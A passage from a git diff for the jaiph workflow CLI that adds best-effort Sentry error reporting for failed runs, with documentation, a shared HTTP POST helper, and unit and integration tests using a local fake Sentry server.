`cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) diff --git a/QUEUE.md b/QUEUE.md index 8c7d967a..cc375b37 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,38 +14,6 @@ Process rules: *** -## Feat: Sentry error reporting on failed runs #dev-ready - -**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable". This task is the Sentry half: failed workflow runs become Sentry error events so operators get alerting/grouping without scraping run dirs. - -**Problem:** A failed run's only trace is its local run dir and a nonzero exit code. Teams running jaiph workflows on schedules or as a service (CI, k8s) need failures pushed to their error tracker with enough context to triage — workflow, failing step, redacted output excerpt, run dir pointer. - -**Required behavior:** - -* New module `src/cli/telemetry/sentry.ts`, zero runtime dependencies — a Sentry **envelope** POST hand-rolled over `node:https` (create `src/cli/telemetry/http.ts` for the shared timeout-guarded POST helper if `src/cli/telemetry/` already has one, reuse it). -* Enabled iff `SENTRY_DSN` is set. DSN `https://@/` parses to endpoint `https:///api//envelope/` with header `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/`. Malformed DSN → one stderr warning, no send. -* Fires **only** when a run terminates unsuccessfully (nonzero exit or signal), from the same host-side post-run hook that handles run completion for all modes (`jaiph run` and the shared MCP/HTTP call layer) — one choke point. Successful runs send nothing. -* Event content (all excerpts sourced from the run's `run_summary.jsonl`, which is already credential-redacted — never from raw `.out`/`.err` captures): - * `event_id` = run id UUID, dashes stripped; `timestamp`; `platform: "node"`; `level: "error"`; - * `message.formatted` = `workflow failed (exit N)` / `terminated by signal S`; - * `tags`: `jaiph.workflow`, `jaiph.source` (basename), failing step kind/name when known; - * `extra`: failing step detail excerpt (the `STEP_END` `err_content`/`out_content`), `run_dir`; - * `fingerprint`: `["jaiph", , ]` so re-occurrences group per workflow+step; - * `release` = `SENTRY_RELEASE` or `jaiph@`; `environment` = `SENTRY_ENVIRONMENT` when set. - * Envelope body = header line `{"event_id","sent_at"}` + item header `{"type":"event"}` + event JSON, newline-separated. -* **Failure semantics: never load-bearing.** Unreachable Sentry, non-2xx, timeout (10 s) → exactly one stderr warning; run exit code and output untouched. No retries. -* No new `JAIPH_*` variables expected; if any is introduced it gets its `docs/env-vars.md` row (parity lint). `SENTRY_DSN`/`SENTRY_ENVIRONMENT`/`SENTRY_RELEASE` are documented in the env-vars page's non-`JAIPH_*` telemetry section and in `docs/observability.md`. - -Acceptance: - -* Unit tests: DSN parsing (endpoint + auth header; malformed → warn/no-send), envelope framing (three newline-separated JSON documents, `event_id` matches run id hex), fingerprint and message composition for exit-code vs signal terminations. -* Integration test with a local fake-Sentry HTTP server: a failing `jaiph run` with `SENTRY_DSN` set delivers exactly one envelope whose event carries the failing step tag and redacted excerpt; a succeeding run delivers nothing; a failing run **without** `SENTRY_DSN` delivers nothing. -* Failure-isolation test: fake Sentry returns 500 (and separately: connection refused) — the run's exit code is unchanged from the no-DSN baseline and exactly one warning line lands on stderr. -* Redaction test: a credential value that appears in the failing step's output shows up in the delivered event only as `[REDACTED]`. -* `package.json` `dependencies` remains absent/empty; `npm test` passes. - -*** - ## Feat: standalone runtime image — run jaiph in docker/k8s without a host orchestrator #dev-ready **Source:** Deployability feedback (2026-07-23): "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … that would allow anyone to run jaiph in docker/kubernetes" — and "it can't depend on a local machine + docker". diff --git a/README.md b/README.md index 8053efe0..3d5f4739 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,7 @@ - **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). - **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs ([Serve workflows over HTTP](docs/serve.md)). - **OpenTelemetry** — set the standard `OTEL_EXPORTER_OTLP_ENDPOINT` and each run exports one span tree (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, zero new dependencies, never load-bearing ([Export traces to an OTLP collector](docs/observability.md)). +- **Sentry error reporting** — set the standard `SENTRY_DSN` and every failed run (nonzero exit or a signal) is pushed to Sentry as one error event — workflow, failing step, a redacted output excerpt, and a run-dir pointer — so operators get alerting and grouping without scraping run dirs. Host-side, redacted, zero new dependencies, never load-bearing; successful runs send nothing ([Report failed runs to Sentry](docs/observability.md#report-failed-runs-to-sentry)). ## Core components diff --git a/docs/env-vars.md b/docs/env-vars.md index a9e19ecd..c74ada87 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -135,6 +135,19 @@ source-parity harness above. Export is enabled iff a traces endpoint is set. See | `OTEL_SERVICE_NAME` | string | `jaiph` | `service.name` resource attribute on every exported span. | | `OTEL_RESOURCE_ATTRIBUTES` | string (`k=v,k=v`) | — | Extra resource attributes. Jaiph also always adds `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, and `jaiph.source`. | +Jaiph also reads the standard Sentry environment variables to report **failed** +runs to a Sentry error tracker — again **no `JAIPH_*` variables**, consumed +host-side after the run completes (never forwarded into the Docker sandbox), so +they are not tracked by the `JAIPH_*` source-parity harness above. A report is +sent iff `SENTRY_DSN` is set **and** the run terminated unsuccessfully (nonzero +exit or a signal); successful runs send nothing. See [Observability](observability.md#report-failed-runs-to-sentry). + +| Variable | Type | Default | Role | +|---|---|---|---| +| `SENTRY_DSN` | string (DSN) | — | Sentry DSN `https://@/`. Enables failed-run reporting. A malformed DSN → one stderr warning and no send. | +| `SENTRY_ENVIRONMENT` | string | — | Sets the event's `environment` when present (for example `prod`, `ci`). | +| `SENTRY_RELEASE` | string | `jaiph@` | Sets the event's `release`. | + ## Installer and `jaiph use` These variables are consumed by `docs/install` (the installer shell script) and by `jaiph use` when it re-invokes the installer. They are **not** read from inside the Jaiph TypeScript source. diff --git a/docs/index.html b/docs/index.html index e6c86ff5..8128cc5a 100644 --- a/docs/index.html +++ b/docs/index.html @@ -574,6 +574,12 @@

    Runtime

    (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, with zero new dependencies, and never load-bearing. See Export traces to an OTLP collector.

    +

    Sentry error reporting. Set the standard + SENTRY_DSN and every failed run (nonzero exit or a signal) is pushed to Sentry + as one error event — workflow, failing step, a redacted output excerpt, and a run-dir + pointer — so operators get alerting and grouping without scraping run dirs. Host-side, + redacted, with zero new dependencies, never load-bearing; successful runs send nothing. + See Report failed runs to Sentry.

    Samples

    Jaiph source code is built mostly with real Jaiph workflows. The diff --git a/docs/observability.md b/docs/observability.md index 411af726..ff9bdfac 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -97,7 +97,52 @@ Only OTLP/HTTP with a JSON payload is spoken. If `OTEL_EXPORTER_OTLP_PROTOCOL` i set to anything other than `http/json` (for example `grpc`), Jaiph warns and skips the export rather than mis-speak a protocol. +## Report failed runs to Sentry + +Traces cover every run; **Sentry** covers the runs you get paged about. When a run +terminates *unsuccessfully* (nonzero exit or a signal), Jaiph posts one Sentry +**error event** so operators get alerting and grouping without scraping run +directories. Successful runs send nothing. + +Reporting is off until you set a Sentry **DSN** — there are, again, **no `JAIPH_*` +variables** for this feature: + +```bash +export SENTRY_DSN="https://@/" +export SENTRY_ENVIRONMENT="prod" # optional — sets the event's environment +export SENTRY_RELEASE="jaiph@1.2.3" # optional — defaults to jaiph@ + +jaiph run ./deploy.jh +``` + +The same host-side, end-of-run choke point that exports traces fires the report — +so `jaiph run` completions and workflows invoked through `jaiph mcp` / `jaiph serve` +are all covered. A malformed DSN produces exactly one stderr warning and no send. + +### What the event carries + +Everything is sourced from the run's `run_summary.jsonl` (already +credential-redacted), never from the raw `.out` / `.err` captures: + +- **`event_id`** — the run's UUID with dashes stripped, so a re-report of the same + run keeps the same id. +- **`message`** — `workflow failed (exit N)`, or `terminated by signal S`. +- **`level`** `error`, **`platform`** `node`. +- **`tags`** — `jaiph.workflow`, `jaiph.source` (the source file basename), and the + failing step's `jaiph.step.kind` / `jaiph.step.name` when known. +- **`extra`** — `failing_step_detail` (the failing step's redacted `err`/`out` + excerpt) and `run_dir` (a pointer to the run directory for triage). +- **`fingerprint`** — `["jaiph", , ]`, so + re-occurrences group per workflow + failing step. +- **`release`** / **`environment`** — from `SENTRY_RELEASE` / `SENTRY_ENVIRONMENT`. + +### Failure is never load-bearing + +Like trace export, a Sentry report never affects a run. An unreachable or erroring +Sentry, a malformed DSN, or a timeout (10 s) produces **exactly one** stderr warning +line; the run's exit code, output, and journal are untouched. There are no retries. + ## Related -- [Environment variables — Telemetry variables](env-vars.md#telemetry-variables) — the full list of consumed `OTEL_*` names. -- [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the `run_summary.jsonl` timeline the export reads. +- [Environment variables — Telemetry variables](env-vars.md#telemetry-variables) — the full list of consumed `OTEL_*` / `SENTRY_*` names. +- [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the `run_summary.jsonl` timeline both exporters read. diff --git a/integration/sentry-export.test.ts b/integration/sentry-export.test.ts new file mode 100644 index 00000000..7523b6c7 --- /dev/null +++ b/integration/sentry-export.test.ts @@ -0,0 +1,267 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn } from "node:child_process"; +import { createServer, type Server } from "node:http"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { AddressInfo } from "node:net"; +import { dirname, join } from "node:path"; + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); + +interface CapturedRequest { + method: string; + url: string; + headers: Record; + body: string; +} + +interface FakeSentry { + port: number; + requests: CapturedRequest[]; + close: () => Promise; +} + +/** A minimal fake Sentry ingest that records every envelope and replies `status`. */ +function startSentry(status = 200): Promise { + return new Promise((resolve) => { + const requests: CapturedRequest[] = []; + const server: Server = createServer((req, res) => { + let body = ""; + req.on("data", (c) => (body += c)); + req.on("end", () => { + requests.push({ method: req.method ?? "", url: req.url ?? "", headers: req.headers, body }); + res.writeHead(status); + res.end(); + }); + }); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + resolve({ port, requests, close: () => new Promise((r) => server.close(() => r())) }); + }); + }); +} + +/** Bind then immediately release a port so a request to it is refused. */ +function reservedClosedPort(): Promise { + return new Promise((resolve) => { + const server = createServer(); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + server.close(() => resolve(port)); + }); + }); +} + +/** + * Run the CLI asynchronously so the test process's event loop keeps running — + * the in-process fake Sentry must accept the envelope connection while the run + * is in flight (spawnSync would block the loop and deadlock it). + */ +function runCli( + args: string[], + opts: { cwd: string; env: NodeJS.ProcessEnv }, +): Promise<{ status: number; stdout: string; stderr: string }> { + return new Promise((resolve) => { + const child = spawn("node", [CLI_PATH, ...args], { cwd: opts.cwd, env: opts.env, stdio: ["ignore", "pipe", "pipe"] }); + let stdout = ""; + let stderr = ""; + child.stdout.setEncoding("utf8"); + child.stderr.setEncoding("utf8"); + child.stdout.on("data", (c: string) => (stdout += c)); + child.stderr.on("data", (c: string) => (stderr += c)); + child.on("close", (code) => resolve({ status: code ?? 1, stdout, stderr })); + }); +} + +function baseEnv(runsRoot: string): NodeJS.ProcessEnv { + return { + ...process.env, + JAIPH_DOCKER_ENABLED: "false", + JAIPH_RUNS_DIR: runsRoot, + PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}`, + // Ensure a stray host DSN never leaks into the no-DSN baseline cases. + SENTRY_DSN: "", + }; +} + +/** A workflow whose one step fails with a nonzero exit, so the run fails. */ +const FAIL_FIXTURE = ['script boom = `echo "step output"; exit 3`', "workflow default() {", " run boom()", "}", ""].join("\n"); + +/** A workflow that succeeds. */ +const OK_FIXTURE = ['script ok = `echo "hi"`', "workflow default() {", " run ok()", ' return "done"', "}", ""].join("\n"); + +function sentryWarnings(stderr: string): string[] { + return stderr.split("\n").filter((l) => l.includes("Sentry error report")); +} + +function dsn(port: number): string { + return `http://pubkey@127.0.0.1:${port}/7`; +} + +test("jaiph run: a failed run with SENTRY_DSN delivers exactly one envelope carrying the failing step + excerpt", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-fail-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(sentry.port), SENTRY_ENVIRONMENT: "ci" }, + }); + assert.notEqual(result.status, 0, "the run itself fails"); + assert.equal(sentry.requests.length, 1, "exactly one envelope POST"); + + const req = sentry.requests[0]; + assert.equal(req.method, "POST"); + assert.equal(req.url, "/api/7/envelope/", "DSN project id maps to the envelope endpoint"); + assert.equal(req.headers["content-type"], "application/x-sentry-envelope"); + assert.match(String(req.headers["x-sentry-auth"]), /^Sentry sentry_version=7, sentry_key=pubkey, sentry_client=jaiph\//); + + const docs = req.body.split("\n"); + assert.equal(docs.length, 3, "envelope header + item header + event"); + const header = JSON.parse(docs[0]) as { event_id: string; sent_at: string }; + assert.match(header.event_id, /^[0-9a-f]{32}$/); + assert.deepEqual(JSON.parse(docs[1]), { type: "event" }); + + const event = JSON.parse(docs[2]) as { + event_id: string; + level: string; + message: { formatted: string }; + tags: Record; + extra: Record; + fingerprint: string[]; + environment?: string; + }; + assert.equal(event.event_id, header.event_id); + assert.equal(event.level, "error"); + assert.equal(event.message.formatted, "workflow default failed (exit 3)"); + assert.equal(event.tags["jaiph.workflow"], "default"); + assert.equal(event.tags["jaiph.source"], "app.jh"); + assert.equal(event.tags["jaiph.step.name"], "boom", "failing step tag present"); + assert.equal(event.tags["jaiph.step.kind"], "script"); + assert.equal(event.extra.failing_step_detail, "step output", "the failing step's redacted excerpt"); + assert.ok(event.extra.run_dir && event.extra.run_dir.length > 0, "run dir pointer present"); + assert.deepEqual(event.fingerprint, ["jaiph", "default", "boom"]); + assert.equal(event.environment, "ci"); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: a succeeding run with SENTRY_DSN delivers nothing", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-ok-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, OK_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(sentry.port) }, + }); + assert.equal(result.status, 0, result.stderr); + assert.equal(sentry.requests.length, 0, "successful runs send nothing"); + assert.equal(sentryWarnings(result.stderr).length, 0); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: a failed run WITHOUT SENTRY_DSN delivers nothing", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-nodsn-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", jh], { cwd: root, env: baseEnv(join(root, ".jaiph/runs")) }); + assert.notEqual(result.status, 0, "the run itself fails"); + assert.equal(sentry.requests.length, 0, "no DSN → no send"); + assert.equal(sentryWarnings(result.stderr).length, 0); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +// --- Failure isolation: exit code unchanged from the no-DSN baseline ------- + +/** The failing run's exit code with Sentry disabled — the isolation reference. */ +async function noDsnBaselineStatus(): Promise { + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-baseline-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", jh], { cwd: root, env: baseEnv(join(root, ".jaiph/runs")) }); + return result.status; + } finally { + rmSync(root, { recursive: true, force: true }); + } +} + +test("jaiph run: a Sentry 500 keeps the exit code at the no-DSN baseline and prints exactly one warning", async () => { + const baseline = await noDsnBaselineStatus(); + const sentry = await startSentry(500); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-500-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(sentry.port) }, + }); + assert.equal(result.status, baseline, "telemetry is never load-bearing"); + assert.equal(sentry.requests.length, 1, "one envelope was attempted"); + const warns = sentryWarnings(result.stderr); + assert.equal(warns.length, 1, `exactly one warning line, got: ${result.stderr}`); + assert.match(warns[0], /HTTP 500/); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: a refused Sentry keeps the exit code at the no-DSN baseline and prints exactly one warning", async () => { + const baseline = await noDsnBaselineStatus(); + const port = await reservedClosedPort(); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-refused-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(port) }, + }); + assert.equal(result.status, baseline, "a refused connection never changes the exit code"); + const warns = sentryWarnings(result.stderr); + assert.equal(warns.length, 1, `exactly one warning line, got: ${result.stderr}`); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("redaction: a credential in the failing step's output reaches the event only as [REDACTED]", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-redact-")); + const SECRET = "supersecretvalue"; + try { + const jh = join(root, "app.jh"); + writeFileSync( + jh, + ['script leak = `printf %s "$SECRET_API_KEY"; exit 1`', "workflow default() {", " run leak()", "}", ""].join("\n"), + ); + const result = await runCli(["run", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SECRET_API_KEY: SECRET, SENTRY_DSN: dsn(sentry.port) }, + }); + assert.notEqual(result.status, 0, "the run itself fails"); + assert.equal(sentry.requests.length, 1); + const body = sentry.requests[0].body; + assert.equal(body.includes(SECRET), false, "raw credential must never appear in the event"); + assert.ok(body.includes("[REDACTED]"), "the redacted marker flows through from the journal"); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/src/cli/telemetry/http.ts b/src/cli/telemetry/http.ts new file mode 100644 index 00000000..cece74d0 --- /dev/null +++ b/src/cli/telemetry/http.ts @@ -0,0 +1,54 @@ +/** + * Shared timeout-guarded POST over node:http / node:https for the telemetry + * exporters (OTLP traces, Sentry error events). Zero dependencies — a single + * request is the whole transport. + * + * Resolves on any 2xx; rejects on a non-2xx status, a transport error, an + * invalid URL, or the timeout. Telemetry callers treat every rejection as + * best-effort (exactly one stderr warning) so a failed export is never + * load-bearing on the run. + */ +import http from "node:http"; +import https from "node:https"; + +/** + * POST `body` to `endpoint` with the given headers and a hard timeout. + * `content-length` is derived from the body; the caller supplies `content-type` + * (and any auth) via `headers`. + */ +export function postWithTimeout( + endpoint: string, + body: string | Buffer, + headers: Record, + timeoutMs: number, +): Promise { + return new Promise((resolve, reject) => { + let url: URL; + try { + url = new URL(endpoint); + } catch { + reject(new Error(`invalid endpoint ${endpoint}`)); + return; + } + const lib = url.protocol === "https:" ? https : http; + const req = lib.request( + url, + { + method: "POST", + headers: { "content-length": Buffer.byteLength(body), ...headers }, + }, + (res) => { + res.resume(); + res.on("end", () => { + const code = res.statusCode ?? 0; + if (code >= 200 && code < 300) resolve(); + else reject(new Error(`server returned HTTP ${code}`)); + }); + }, + ); + req.setTimeout(timeoutMs, () => req.destroy(new Error(`timed out after ${Math.round(timeoutMs / 1000)}s`))); + req.on("error", reject); + req.write(body); + req.end(); + }); +} diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts index fdf8d9d0..8e43d3e8 100644 --- a/src/cli/telemetry/otlp.ts +++ b/src/cli/telemetry/otlp.ts @@ -15,9 +15,9 @@ import { existsSync, readFileSync } from "node:fs"; import { join } from "node:path"; import { createHash } from "node:crypto"; -import http from "node:http"; -import https from "node:https"; import { VERSION } from "../../version"; +import { postWithTimeout } from "./http"; +import { reportRunFailureToSentry } from "./sentry"; /** Metadata the pure mapper needs beyond the journal lines themselves. */ export interface OtlpMeta { @@ -296,40 +296,12 @@ function postOtlp( payload: Record, headers: Record, ): Promise { - return new Promise((resolve, reject) => { - let url: URL; - try { - url = new URL(endpoint); - } catch { - reject(new Error(`invalid endpoint ${endpoint}`)); - return; - } - const body = JSON.stringify(payload); - const lib = url.protocol === "https:" ? https : http; - const req = lib.request( - url, - { - method: "POST", - headers: { - "content-type": "application/json", - "content-length": Buffer.byteLength(body), - ...headers, - }, - }, - (res) => { - res.resume(); - res.on("end", () => { - const code = res.statusCode ?? 0; - if (code >= 200 && code < 300) resolve(); - else reject(new Error(`collector returned HTTP ${code}`)); - }); - }, - ); - req.setTimeout(10_000, () => req.destroy(new Error("timed out after 10s"))); - req.on("error", reject); - req.write(body); - req.end(); - }); + return postWithTimeout( + endpoint, + JSON.stringify(payload), + { "content-type": "application/json", ...headers }, + 10_000, + ); } /** Options for the shared post-run export hook. */ @@ -344,11 +316,20 @@ export interface ExportRunTelemetryOptions { /** * Single shared post-run hook, invoked wherever a run reaches terminal state on - * the host (`jaiph run` completion, the shared workflow-call layer). Enabled iff - * an OTLP traces endpoint is configured. Best-effort: any failure produces one - * stderr warning and nothing else. + * the host (`jaiph run` completion, the shared MCP/HTTP workflow-call layer) — + * one choke point for every mode. Dispatches the two independent, best-effort + * exporters: OTLP traces (every run, when a collector is configured) and a + * Sentry error report (failed runs only, when `SENTRY_DSN` is set). Neither is + * load-bearing: a failure in either produces exactly one stderr warning and + * never affects the run's exit code, output, or journal. */ export async function exportRunTelemetry(opts: ExportRunTelemetryOptions): Promise { + await exportOtlpTraces(opts); + await reportRunFailureToSentry(opts); +} + +/** OTLP/HTTP trace export half of the post-run hook. Enabled iff a traces endpoint is set. */ +async function exportOtlpTraces(opts: ExportRunTelemetryOptions): Promise { const { runDir, workflow, exitStatus, signal, env } = opts; const endpoint = resolveOtlpEndpoint(env); if (!endpoint) return; diff --git a/src/cli/telemetry/sentry.test.ts b/src/cli/telemetry/sentry.test.ts new file mode 100644 index 00000000..60d8c2e5 --- /dev/null +++ b/src/cli/telemetry/sentry.test.ts @@ -0,0 +1,175 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { + parseSentryDsn, + buildSentryEvent, + buildEnvelope, + reportRunFailureToSentry, + type SentryEventMeta, +} from "./sentry"; +import { VERSION } from "../../version"; + +const RUN_ID = "11111111-2222-3333-4444-555555555555"; + +/** A journal covering the root, a passing step, and a failing script step. */ +function fixtureLines(): string[] { + const events: Record[] = [ + { type: "WORKFLOW_START", workflow: "default", source: "/abs/path/deploy.jh", ts: "2026-07-24T10:00:00Z", run_id: RUN_ID }, + { type: "STEP_START", func: "ok", kind: "script", name: "ok", ts: "2026-07-24T10:00:01Z", id: "R:2", run_id: RUN_ID }, + { type: "STEP_END", func: "ok", kind: "script", name: "ok", ts: "2026-07-24T10:00:02Z", status: 0, id: "R:2", run_id: RUN_ID, out_content: "fine\n", err_content: "" }, + { type: "STEP_START", func: "boom", kind: "script", name: "boom", ts: "2026-07-24T10:00:03Z", id: "R:3", run_id: RUN_ID }, + { type: "STEP_END", func: "boom", kind: "script", name: "boom", ts: "2026-07-24T10:00:04Z", status: 2, id: "R:3", run_id: RUN_ID, out_content: "", err_content: "kaboom\n" }, + { type: "WORKFLOW_END", workflow: "default", source: "/abs/path/deploy.jh", ts: "2026-07-24T10:00:05Z", run_id: RUN_ID }, + ]; + return events.map((e) => JSON.stringify(e)); +} + +const META: SentryEventMeta = { + workflow: "default", + exitStatus: 1, + signal: null, + runDir: "/abs/.jaiph/runs/2026-07-24/10-00-00-deploy", + release: `jaiph@${VERSION}`, +}; + +// --- DSN parsing ----------------------------------------------------------- + +test("parseSentryDsn: endpoint + auth header from a well-formed DSN", () => { + const parsed = parseSentryDsn("https://abc123@o1.ingest.sentry.io/42"); + assert.ok(parsed); + assert.equal(parsed.endpoint, "https://o1.ingest.sentry.io/api/42/envelope/"); + assert.equal(parsed.authHeader, `Sentry sentry_version=7, sentry_key=abc123, sentry_client=jaiph/${VERSION}`); +}); + +test("parseSentryDsn: a non-default port is preserved in the endpoint", () => { + const parsed = parseSentryDsn("https://key@localhost:9000/7"); + assert.ok(parsed); + assert.equal(parsed.endpoint, "https://localhost:9000/api/7/envelope/"); +}); + +test("parseSentryDsn: malformed DSNs return null (no send)", () => { + assert.equal(parseSentryDsn("not a url"), null, "unparseable"); + assert.equal(parseSentryDsn("https://o1.ingest.sentry.io/42"), null, "missing public key"); + assert.equal(parseSentryDsn("https://key@host/"), null, "missing project id"); + assert.equal(parseSentryDsn("https://key@host/a/42"), null, "multi-segment path is not a bare project id"); +}); + +// --- Event composition ----------------------------------------------------- + +test("buildSentryEvent: event_id is the run id UUID with dashes stripped", () => { + const event = buildSentryEvent(fixtureLines(), META); + assert.equal(event.event_id, "11111111222233334444555555555555"); + assert.match(event.event_id as string, /^[0-9a-f]{32}$/); +}); + +test("buildSentryEvent: exit-code termination message + fingerprint + tags + redacted-source excerpt", () => { + const event = buildSentryEvent(fixtureLines(), META); + assert.equal(event.platform, "node"); + assert.equal(event.level, "error"); + assert.deepEqual(event.message, { formatted: "workflow default failed (exit 1)" }); + assert.deepEqual(event.fingerprint, ["jaiph", "default", "boom"]); + assert.equal(event.release, `jaiph@${VERSION}`); + assert.equal((event as { environment?: string }).environment, undefined, "no environment key when unset"); + + const tags = event.tags as Record; + assert.equal(tags["jaiph.workflow"], "default"); + assert.equal(tags["jaiph.source"], "deploy.jh", "source tag is the basename"); + assert.equal(tags["jaiph.step.kind"], "script"); + assert.equal(tags["jaiph.step.name"], "boom"); + + const extra = event.extra as Record; + assert.equal(extra.failing_step_detail, "kaboom", "the failing step's err_content excerpt"); + assert.equal(extra.run_dir, META.runDir); +}); + +test("buildSentryEvent: signal termination wins over exit code in the message", () => { + const event = buildSentryEvent(fixtureLines(), { ...META, exitStatus: 0, signal: "SIGKILL" }); + assert.deepEqual(event.message, { formatted: "workflow default terminated by signal SIGKILL" }); +}); + +test("buildSentryEvent: environment is included only when set", () => { + const event = buildSentryEvent(fixtureLines(), { ...META, environment: "prod" }); + assert.equal((event as { environment?: string }).environment, "prod"); +}); + +test("buildSentryEvent: no failing step → fingerprint tail is 'unknown', no step tags", () => { + const lines = [ + JSON.stringify({ type: "WORKFLOW_START", workflow: "default", source: "x.jh", ts: "2026-07-24T10:00:00Z", run_id: RUN_ID }), + JSON.stringify({ type: "WORKFLOW_END", workflow: "default", source: "x.jh", ts: "2026-07-24T10:00:01Z", run_id: RUN_ID }), + ]; + const event = buildSentryEvent(lines, { ...META, signal: "SIGTERM", exitStatus: 0 }); + assert.deepEqual(event.fingerprint, ["jaiph", "default", "unknown"]); + const tags = event.tags as Record; + assert.equal(tags["jaiph.step.name"], undefined); + assert.equal(tags["jaiph.step.kind"], undefined); +}); + +// --- Envelope framing ------------------------------------------------------ + +test("buildEnvelope: three newline-separated JSON documents (header, item header, event)", () => { + const event = buildSentryEvent(fixtureLines(), META); + const envelope = buildEnvelope(event, "2026-07-24T10:00:06Z"); + const docs = envelope.split("\n"); + assert.equal(docs.length, 3, "exactly three lines"); + + const header = JSON.parse(docs[0]) as { event_id: string; sent_at: string }; + assert.equal(header.event_id, "11111111222233334444555555555555", "envelope header event_id matches run id hex"); + assert.equal(header.sent_at, "2026-07-24T10:00:06Z"); + + const itemHeader = JSON.parse(docs[1]) as { type: string }; + assert.deepEqual(itemHeader, { type: "event" }); + + const body = JSON.parse(docs[2]) as { event_id: string }; + assert.equal(body.event_id, header.event_id, "item event_id matches the envelope header"); +}); + +// --- Enablement / failure gates (no network) ------------------------------- + +async function captureStderr(fn: () => Promise): Promise { + const captured: string[] = []; + const original = process.stderr.write.bind(process.stderr); + (process.stderr as unknown as { write: (s: string) => boolean }).write = (s: string) => { + captured.push(s); + return true; + }; + try { + await fn(); + } finally { + (process.stderr as unknown as { write: typeof original }).write = original; + } + return captured; +} + +test("reportRunFailureToSentry: a successful run sends nothing and warns nothing", async () => { + const out = await captureStderr(() => + reportRunFailureToSentry({ + runDir: "/nonexistent", + workflow: "default", + exitStatus: 0, + signal: null, + env: { SENTRY_DSN: "https://key@host/1" }, + }), + ); + assert.equal(out.length, 0); +}); + +test("reportRunFailureToSentry: a failed run without SENTRY_DSN sends nothing and warns 